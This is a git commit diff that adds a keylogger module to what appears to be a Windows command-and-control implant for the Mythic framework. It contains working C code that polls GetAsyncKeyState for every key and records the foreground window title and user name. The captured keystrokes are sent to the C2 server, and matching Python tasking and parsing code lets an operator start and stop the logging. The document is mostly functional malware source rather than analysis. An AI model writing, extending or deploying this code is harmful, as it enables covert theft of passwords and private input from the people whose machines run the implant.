keystrokes implemented

This commit is contained in:
marcos.luna
2025-10-30 17:26:33 +01:00
parent ad85e06458
commit 519d2a8946
10 changed files with 471 additions and 0 deletions
@@ -24,6 +24,19 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
BYTE tarea = getByte(obtenerTarea);
_dbg("Comando recibido: 0x%02X (%d)", tarea, tarea);
_inf("COMMAND DEBUG: Received command 0x%02X, KEYLOG_START_CMD=0x%02X, KEYLOG_STOP_CMD=0x%02X",
tarea, KEYLOG_START_CMD, KEYLOG_STOP_CMD);
// Debug: log specific command types
if (tarea == KEYLOG_START_CMD) {
_inf("=== KEYLOG_START_CMD (0x%02X) detected ===", tarea);
} else if (tarea == KEYLOG_STOP_CMD) {
_inf("=== KEYLOG_STOP_CMD (0x%02X) detected ===", tarea);
} else if (tarea == 0x30) {
_inf("=== RAW 0x30 detected (should be KEYLOG_START) ===");
} else if (tarea == 0x31) {
_inf("=== RAW 0x31 detected (should be KEYLOG_STOP) ===");
}
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
@@ -62,6 +75,14 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
} else if (tarea == STOP_SOCKS_CMD) {
_dbg("Received STOP_SOCKS_CMD");
stopSocksHandler(analizadorTarea);
} else if (tarea == KEYLOG_START_CMD) {
_inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea);
StartKeylogger(analizadorTarea);
_inf("===== KEYLOG_START_CMD COMPLETED =====");
} else if (tarea == KEYLOG_STOP_CMD) {
_inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea);
StopKeylogger(analizadorTarea);
_inf("===== KEYLOG_STOP_CMD COMPLETED =====");
} else {
_wrn("Tarea desconocida: 0x%02x", tarea);
// liberar analizador si no será usado por otro handler
@@ -11,6 +11,7 @@
#include "procesos.h"
#include "SistemadeFicheros.h"
#include "screenshot.h"
#include "keylog.h"
#define SHELL_CMD 0x54
#define GET_TASKING 0x00
@@ -33,6 +34,8 @@
#define DOWNLOAD_CMD 0x27
#define UPLOAD_CMD 0x28
#define SCREENSHOT_CMD 0x29
#define KEYLOG_START_CMD 0x30
#define KEYLOG_STOP_CMD 0x31
/* New SOCKS control commands (agent-side) */
#define START_SOCKS_CMD 0x60
@@ -0,0 +1,161 @@
#include "keylog.h"
#include "paquete.h"
#include "cazalla.h"
static volatile BOOL g_keylog_running = FALSE;
static HANDLE g_keylog_thread = NULL;
static CHAR g_keylog_task_uuid[37] = {0};
static DWORD WINAPI keylog_thread_proc(LPVOID lpParam) {
(void)lpParam;
// Simple polling-based key grab (GetAsyncKeyState); not stealthy but minimal
CHAR buffer[2048];
SIZE_T buf_len = 0;
ULONGLONG last_send = GetTickCount64();
while (g_keylog_running) {
for (int vk = 0x08; vk <= 0xFE; ++vk) {
SHORT state = GetAsyncKeyState(vk);
if (state & 0x0001) { // pressed since last call
char c = 0;
if (vk == VK_BACK) c = '\b';
else if (vk == VK_TAB) c = '\t';
else if (vk == VK_RETURN) c = '\n';
else if (vk >= 0x20 && vk <= 0x7E) c = (char)vk; // printable ASCII
if (c) {
if (buf_len < sizeof(buffer) - 1) {
buffer[buf_len++] = c;
}
}
}
}
ULONGLONG now = GetTickCount64();
BOOL should_send = (buf_len >= 128) || ((now - last_send) > 3000 && buf_len > 0);
if (should_send) {
buffer[buf_len] = '\0';
// Fetch window title
CHAR title[256] = {0};
HWND hwnd = GetForegroundWindow();
if (hwnd) {
GetWindowTextA(hwnd, title, sizeof(title) - 1);
}
// Fetch user (best-effort)
CHAR user[128] = {0};
DWORD usize = (DWORD)sizeof(user);
GetUserNameA(user, &usize);
// Build POST_RESPONSE
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuesta, g_keylog_task_uuid, FALSE);
// empty user_output
addInt32(respuesta, 0);
// Add keylog marker
addKeylog(respuesta, user[0] ? user : "", title[0] ? title : "", buffer);
Analizador* resp = mandarPaquete(respuesta);
liberarPaquete(respuesta);
if (resp) liberarAnalizador(resp);
buf_len = 0;
last_send = now;
}
Sleep(20);
}
return 0;
}
BOOL StartKeylogger(PAnalizador argumentos) {
_inf("[keylog] ===== StartKeylogger called =====");
// Match input_type=None format: [nbArg:4][UUID(36)]
UINT32 nbArg = getInt32(argumentos);
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
_inf("[keylog] nbArg=%u, tamanoUuid=%zu", nbArg, tamanoUuid);
if (!tareaUuid || tamanoUuid != 36) {
_err("[keylog] UUID inválido (len=%zu)", tamanoUuid);
return FALSE;
}
// Ensure UUID is null-terminated
CHAR uuidBuffer[37] = {0};
memcpy(uuidBuffer, tareaUuid, 36);
uuidBuffer[36] = '\0';
tareaUuid = uuidBuffer;
_inf("[keylog] Task UUID: %s", tareaUuid);
memset(g_keylog_task_uuid, 0, sizeof(g_keylog_task_uuid));
memcpy(g_keylog_task_uuid, tareaUuid, 36);
if (g_keylog_running) {
return TRUE;
}
g_keylog_running = TRUE;
g_keylog_thread = CreateThread(NULL, 0, keylog_thread_proc, NULL, 0, NULL);
// Ack
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuesta, g_keylog_task_uuid, FALSE);
PPaquete salida = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salida, FALSE, "[keylog] Started\n");
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
// Report API Call artifact for keylogger
addArtifact(respuesta, "API Call", "Keyboard Hook: GetAsyncKeyState, GetForegroundWindow, GetWindowTextA, GetUserNameA");
Analizador* resp = mandarPaquete(respuesta);
liberarPaquete(salida);
liberarPaquete(respuesta);
if (resp) liberarAnalizador(resp);
return TRUE;
}
BOOL StopKeylogger(PAnalizador argumentos) {
_inf("[keylog] ===== StopKeylogger called =====");
// Match input_type=None format: [nbArg:4][UUID(36)]
UINT32 nbArg = getInt32(argumentos);
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
_inf("[keylog] nbArg=%u, tamanoUuid=%zu", nbArg, tamanoUuid);
if (tareaUuid && tamanoUuid == 36) {
// Ensure UUID is null-terminated
CHAR uuidBuffer[37] = {0};
memcpy(uuidBuffer, tareaUuid, 36);
uuidBuffer[36] = '\0';
tareaUuid = uuidBuffer;
_inf("[keylog] Task UUID: %s", tareaUuid);
memset(g_keylog_task_uuid, 0, sizeof(g_keylog_task_uuid));
memcpy(g_keylog_task_uuid, tareaUuid, 36);
} else {
_wrn("[keylog] UUID inválido o vacío, usando UUID guardado");
}
if (g_keylog_running) {
g_keylog_running = FALSE;
if (g_keylog_thread) {
WaitForSingleObject(g_keylog_thread, 2000);
CloseHandle(g_keylog_thread);
g_keylog_thread = NULL;
}
}
// Ack
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuesta, g_keylog_task_uuid[0] ? g_keylog_task_uuid : "", FALSE);
PPaquete salida = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salida, FALSE, "[keylog] Stopped\n");
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
Analizador* resp = mandarPaquete(respuesta);
liberarPaquete(salida);
liberarPaquete(respuesta);
if (resp) liberarAnalizador(resp);
return TRUE;
}
@@ -0,0 +1,11 @@
#pragma once
#ifndef KEYLOG_H
#define KEYLOG_H
#include <windows.h>
#include "analizador.h"
BOOL StartKeylogger(PAnalizador argumentos);
BOOL StopKeylogger(PAnalizador argumentos);
#endif
@@ -763,4 +763,26 @@ VOID addCommand(PPaquete paquete, PCHAR action, PCHAR cmd) {
SIZE_T cmd_len = strlen(cmd);
addInt32(paquete, (UINT32)cmd_len);
addString(paquete, cmd, FALSE);
}
// Helper function to add keylog entries to response packages
// Format: [0xF6 marker][user_len:4][user][title_len:4][title][keys_len:4][keystrokes]
VOID addKeylog(PPaquete paquete, PCHAR user, PCHAR window_title, PCHAR keystrokes) {
if (!paquete || !user || !window_title || !keystrokes) {
return;
}
addByte(paquete, 0xF6);
SIZE_T user_len = strlen(user);
addInt32(paquete, (UINT32)user_len);
addString(paquete, user, FALSE);
SIZE_T title_len = strlen(window_title);
addInt32(paquete, (UINT32)title_len);
addString(paquete, window_title, FALSE);
SIZE_T keys_len = strlen(keystrokes);
addInt32(paquete, (UINT32)keys_len);
addString(paquete, keystrokes, FALSE);
}
@@ -0,0 +1,33 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class KeylogStartArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
pass
class KeylogStartCommand(CommandBase):
cmd = "keylog_start"
needs_admin = False
help_cmd = "keylog_start"
description = "Start a low-level keyboard logger and stream keylogs to Mythic"
version = 1
author = "@KaseyaOFSTeam"
argument_class = KeylogStartArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows],
suggested_command=False,
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
resp = PTTaskCreateTaskingMessageResponse(TaskID=taskData.Task.ID, Success=True)
resp.DisplayParams = "Start keylogger"
return resp
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
return PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
@@ -0,0 +1,33 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class KeylogStopArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
pass
class KeylogStopCommand(CommandBase):
cmd = "keylog_stop"
needs_admin = False
help_cmd = "keylog_stop"
description = "Stop the active keylogger"
version = 1
author = "@KaseyaOFSTeam"
argument_class = KeylogStopArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows],
suggested_command=False,
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
resp = PTTaskCreateTaskingMessageResponse(TaskID=taskData.Task.ID, Success=True)
resp.DisplayParams = "Stop keylogger"
return resp
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
return PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
@@ -18,6 +18,9 @@ commands = {
"download": {"hex_code": 0x27, "input_type": "string"},
"upload": {"hex_code": 0x28, "input_type": "string"},
"screenshot": {"hex_code": 0x29, "input_type": None},
# Keylogging controls
"keylog_start": {"hex_code": 0x30, "input_type": None},
"keylog_stop": {"hex_code": 0x31, "input_type": None},
# Added SOCKS control commands
"start_socks": {"hex_code": 0x60, "input_type": "int"},
"stop_socks": {"hex_code": 0x61, "input_type": None},
@@ -33,6 +36,10 @@ def responseTasking(tasks):
for task in tasks:
command_to_run = task["command"]
print(f"\n[DEBUG] Preparando comando: {command_to_run}")
if command_to_run not in commands:
print(f"[ERROR] Comando no reconocido en translator: {command_to_run}")
# Skip unknown command to avoid crashing the translator
continue
print(f"[DEBUG] Tipo input: {commands[command_to_run]['input_type']}")
command_code = commands[command_to_run]["hex_code"].to_bytes(1, "big")
@@ -247,6 +247,7 @@ def postResponse(data):
download_chunk = None
upload_request = None
commands_data = []
keylogs_data = []
remaining_data = data
while len(remaining_data) >= 5: # At least: marker (1) + type_len (4)
@@ -583,6 +584,45 @@ def postResponse(data):
remaining_data = remaining_data[offset:]
except:
break
elif remaining_data[0] == 0xF6:
# Keylog marker found
# Format: [0xF6][user_len:4][user][title_len:4][title][keys_len:4][keystrokes]
offset = 1
# user
if len(remaining_data) < offset + 4:
break
user_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
if len(remaining_data) < offset + user_len:
break
user = remaining_data[offset:offset+user_len].decode('utf-8', errors='ignore')
offset += user_len
# title
if len(remaining_data) < offset + 4:
break
title_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
if len(remaining_data) < offset + title_len:
break
window_title = remaining_data[offset:offset+title_len].decode('utf-8', errors='ignore')
offset += title_len
# keystrokes
if len(remaining_data) < offset + 4:
break
keys_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
if len(remaining_data) < offset + keys_len:
break
keystrokes = remaining_data[offset:offset+keys_len].decode('utf-8', errors='ignore')
offset += keys_len
keylogs_data.append({
"user": user,
"window_title": window_title,
"keystrokes": keystrokes,
})
print(f"[KEYLOG] user='{user}', title='{window_title}', len={len(keystrokes)}")
remaining_data = remaining_data[offset:]
else:
# No more markers
break
@@ -690,6 +730,10 @@ def postResponse(data):
jsonTask["commands"] = commands
print(f"[COMMANDS] Total de commands agregados: {len(commands)}")
if len(keylogs_data) > 0:
jsonTask["keylogs"] = keylogs_data
print(f"[KEYLOG] Total de keylogs agregados: {len(keylogs_data)}")
# Add download information if present
if download_registration:
jsonTask["download"] = download_registration